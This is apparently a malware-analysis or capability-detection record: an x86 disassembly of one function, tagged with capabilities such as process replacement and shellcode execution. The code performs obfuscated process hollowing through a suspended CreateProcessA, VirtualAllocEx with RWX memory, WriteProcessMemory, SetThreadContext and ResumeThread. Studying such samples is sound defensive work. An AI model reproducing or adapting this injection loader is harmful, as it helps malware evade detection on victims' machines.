Function at 0x42fd20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x68
mov eax, dword [0x4353ac]
mov esi, dword [ebp + 8]
mov edi, 0x64d3e8
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4359e8]
mov ecx, dword [0x4359ec]
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
lea eax, [esi + 0x3c]
sete byte [ebp - 0x21]
cmp ecx, 0xa
mov ecx, 0x92ec3f93
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
setl byte [ebp - 0x22]
nop dword [eax]
cmp ecx, 0x3da7920
jg 0x42fe50
cmp ecx, 0xd2239e8e
jg 0x42fed0
cmp ecx, 0x92ec3f92
jle 0x430005
cmp ecx, 0x9dbd7570
jle 0x4301cc
cmp ecx, 0x9dbd7571
je 0x43072d
cmp ecx, 0xc592f1fb
je 0x4303c7
cmp ecx, 0xc9737340
jne 0x42fd70
mov eax, dword [ebp - 0x3c]
add eax, 0x18
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x38]
add ecx, 0x1c
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x20]
push 0x40
push 0x3000
push eax
push ecx
push dword [edx]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, eax
mov edi, 0x8373d0f2
mov dword [ebp - 0x34], esi
lea ebx, [ecx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete al
cmp edx, 0xa
setl ah
xor ah, al
mov eax, 0x310d2251
cmovne eax, edi
test ecx, ebx
mov ecx, eax
cmove ecx, edi
cmp edx, 0xa
mov edi, 0x64d3e8
cmovge ecx, eax
cmp dword [ebp - 0x34], 0
sete byte [ebp - 0x25]
jmp 0x42fd70
cmp ecx, 0x3da30ff4
jle 0x42ffb0
cmp ecx, 0x48975158
jle 0x430044
cmp ecx, 0x61d7efe0
jle 0x43020e
cmp ecx, 0x61d7efe1
je 0x430409
cmp ecx, 0x6caff5ff
je 0x43044b
cmp ecx, 0x7054f1e5
jne 0x42fd70
mov esi, dword [ebp - 0x4c]
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp - 0x2c]
push dword [ebp - 0x48]
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0x6caff5ff
jmp 0x42fd70
cmp ecx, 0xe8aeb1d0
jle 0x4300d3
cmp ecx, 0x64d3e7
jle 0x430255
cmp ecx, 0x64d3e8
je 0x430779
cmp ecx, 0x13e06ef
je 0x4304a4
cmp ecx, 0x15b61fe
jne 0x42fd70
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx + ecx*4]
mov edx, dword [eax + ecx*8 + 0x10c]
mov esi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
add esi, dword [eax + ecx*8 + 0x104]
mov ebx, dword [ebp - 0x20]
push 0
push dword [eax + ecx*8 + 0x108]
push edx
push esi
push dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
mov ecx, dword [ebp - 0x20]
add eax, 8
push 0
push 4
push dword [ebp - 0x5c]
push eax
push dword [ecx]
call esi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, 0x333e74bd
jmp 0x42fd70
cmp ecx, 0x318537f2
jg 0x430108
cmp ecx, 0x2401f65e
jle 0x4302b2
cmp ecx, 0x2401f65f
je 0x43078a
cmp ecx, 0x310d2251
jne 0x42fd70
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x2c]
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, 0xc9737340
jmp 0x42fd70
cmp ecx, 0x84f96e65
jg 0x4302da
cmp ecx, 0x8373d0f2
je 0x4304ae
cmp ecx, 0x83e7f6bd
jne 0x42fd70
cmp dword [ebp - 0x40], 0
mov ecx, 0x2401f65f
mov eax, 0x84f96e66
cmove ecx, eax
mov al, 1
mov dword [ebp - 0x44], eax
jmp 0x42fd70
cmp ecx, 0x40428f89
jg 0x430334
cmp ecx, 0x3da30ff5
je 0x4304c4
cmp ecx, 0x3fd6cec2
jne 0x42fd70
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0xb0], eax
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x20]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, 0x9dbd7571
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl ah
xor ah, al
mov eax, 0xc592f1fb
jmp 0x4304f2
cmp ecx, 0xe5433adc
jg 0x43035d
cmp ecx, 0xd2239e8f
je 0x430508
cmp ecx, 0xe1e12311
jne 0x42fd70
mov eax, dword [ebp - 0x60]
mov ecx, 0xff8840c1
dec eax
mov dword [ebp - 0x68], eax
jmp 0x42fd70
cmp ecx, 0x37ca7856
jg 0x43038b
cmp ecx, 0x318537f3
je 0x43063c
cmp ecx, 0x333e74bd
jne 0x42fd70
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
add eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx + ecx*4]
mov edx, dword [eax + ecx*8 + 0x10c]
add edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
add esi, dword [eax + ecx*8 + 0x104]
mov ebx, dword [ebp - 0x20]
push 0
push dword [eax + ecx*8 + 0x108]
push edx
push esi
push dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
mov ecx, dword [ebp - 0x20]
add eax, 8
push 0
push 4
push dword [ebp - 0x5c]
push eax
push dword [ecx]
call esi
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, 0x2308d8ae
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl ah
xor ah, al
mov eax, 0x15b61fe
cmovne eax, esi
cmp ecx, 0xffffffff
mov ecx, eax
cmove ecx, esi
mov esi, dword [ebp - 0x14]
cmp edx, 0xa
cmovge ecx, eax
inc esi
mov dword [ebp - 0x74], esi
jmp 0x42fd70
cmp ecx, 0x92ec3f93
je 0x430686
cmp ecx, 0x993c2336
jne 0x42fd70
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x20]
push 0
push dword [eax + 0x3c]
push dword [ebp + 8]
push dword [ebp - 0x34]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 0x3937aafc
mov dword [ebp - 0x64], 0
jmp 0x42fd70
cmp ecx, 0x48975159
je 0x4306b0
cmp ecx, 0x4accb2ed
jne 0x42fd70
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x2c]
add eax, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
mov ecx, 0x85914f3f
cmove ecx, edi
jmp 0x42fd70
cmp ecx, 0xe8aeb1d1
je 0x4306ee
cmp ecx, 0xff8840c1
jne 0x42fd70
mov eax, dword [ebp - 0x68]
mov esi, 0x318537f3
mov ebx, 0xe8aeb1d1
mov dword [ebp - 0x60], eax
mov eax, dword [0x4359e8]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe8aeb1d1
sete al
cmove ecx, esi
cmp dword [0x4359ec], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, esi
jmp 0x42fd70
cmp ecx, 0x3da7921
je 0x4306fb
cmp ecx, 0x2308d8ae
jne 0x42fd70
mov eax, dword [ebp - 0x74]
mov ecx, 0x3937aafc
mov dword [ebp - 0x64], eax
jmp 0x42fd70
cmp ecx, 0x84f96e66
je 0x430711
cmp ecx, 0x85914f3f
jne 0x42fd70
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, 0xc9737340
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x310d2251
cmovne ebx, esi
test eax, ecx
mov ecx, ebx
cmove ecx, esi
cmp edx, 0xa
cmovge ecx, ebx
jmp 0x42fd70
cmp ecx, 0x40428f8a
je 0x430722
cmp ecx, 0x44c35928
jne 0x42fd70
mov ecx, 0xff8840c1
mov dword [ebp - 0x68], 3
jmp 0x42fd70
cmp ecx, 0xe5433add
je 0x43073e
cmp ecx, 0xe6f329f4
jne 0x42fd70
cmp byte [ebp - 0x26], 0
mov ecx, 0x40428f8a
mov eax, 0xe1e12311
cmovne ecx, eax
jmp 0x42fd70
cmp ecx, 0x37ca7857
je 0x430763
cmp ecx, 0x3937aafc
jne 0x42fd70
mov eax, dword [ebp - 0x64]
mov edx, 0x61d7efe1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x3c]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
mov ecx, 0x48975159
cmovb ecx, edx
jmp 0x42fd70
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0xb0], eax
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x20]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x3fd6cec2
jmp 0x42fd70
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, 0x15b61fe
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x333e74bd
cmovne esi, ebx
test eax, ecx
mov ecx, esi
cmove ecx, ebx
cmp edx, 0xa
cmovge ecx, esi
jmp 0x42fd70
mov ebx, dword [ebp - 0x4c]
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp - 0x2c]
push dword [ebp - 0x48]
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, dword [0x4359e8]
mov ebx, 0x37ca7857
mov esi, 0x7054f1e5
setne byte [ebp - 0x24]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7054f1e5
jmp 0x4306d1
mov ecx, 0xd2239e8f
jmp 0x42fd70
cmp byte [ebp - 0x25], 0
mov ecx, 0x993c2336
mov eax, 0x44c35928
cmovne ecx, eax
jmp 0x42fd70
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, 0x6caff5ff
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl ah
xor ah, al
mov eax, 0x7054f1e5
cmovne eax, esi
cmp ecx, 0xffffffff
mov ecx, eax
cmove ecx, esi
cmp edx, 0xa
cmovge ecx, eax
jmp 0x42fd70
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x48], eax
sub esp, 0x400
mov eax, esp
mov esi, 0x3da7921
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x54]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x24], 0
mov dword [eax + 0x20], 0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x28], 0
mov dword [eax + 0x34], 0
mov dword [eax + 0x30], 0
mov dword [eax + 0x3c], 0
mov dword [eax + 0x38], 0
mov dword [eax + 0x40], 0
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x13e06ef
cmovne ebx, esi
test eax, ecx
mov eax, dword [ebp - 0x4c]
mov ecx, ebx
cmove ecx, esi
cmp edx, 0xa
cmovge ecx, ebx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0x4550
sete byte [ebp - 0x23]
jmp 0x42fd70
mov eax, dword [0x4359e8]
mov edx, dword [0x4359ec]
mov esi, 0xe8aeb1d1
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe6f329f4
cmovne esi, ebx
test eax, ecx
mov ecx, esi
cmove ecx, ebx
cmp edx, 0xa
cmovge ecx, esi
cmp dword [ebp - 0x60], 0
setns byte [ebp - 0x26]
jmp 0x42fd70
movzx eax, byte [ebp - 0x21]
movzx ecx, byte [ebp - 0x22]
mov esi, 0xd2239e8f
mov edx, eax
xor dl, cl
mov edx, 0x13e06ef
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, esi
test al, al
cmove ecx, edx
jmp 0x42fd70
mov eax, dword [0x4359e8]
mov ebx, 0x3fd6cec2
mov esi, 0xc592f1fb
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xc592f1fb
sete al
cmove ecx, ebx
cmp dword [0x4359ec], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, ebx
jmp 0x42fd70
mov eax, dword [ebp - 0x60]
mov ecx, 0x318537f3
jmp 0x42fd70
cmp byte [ebp - 0x23], 0
mov ecx, 0x84f96e66
mov eax, 0x3da30ff5
cmovne ecx, eax
jmp 0x42fd70
mov ecx, 0x2401f65f
mov dword [ebp - 0x44], 0
jmp 0x42fd70
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 0x83e7f6bd
mov dword [ebp - 0x40], 1
jmp 0x42fd70
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
mov ecx, 0x4accb2ed
cmp dword [ebp - 0x1c], 0
cmove ecx, edi
jmp 0x42fd70
cmp byte [ebp - 0x24], 0
mov ecx, 0x84f96e66
mov eax, 0xe5433add
cmovne ecx, eax
jmp 0x42fd70
mov ecx, 0x83e7f6bd
mov dword [ebp - 0x40], 0
jmp 0x42fd70
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov ebx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
and bl, 1
call fcn.0043082b
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret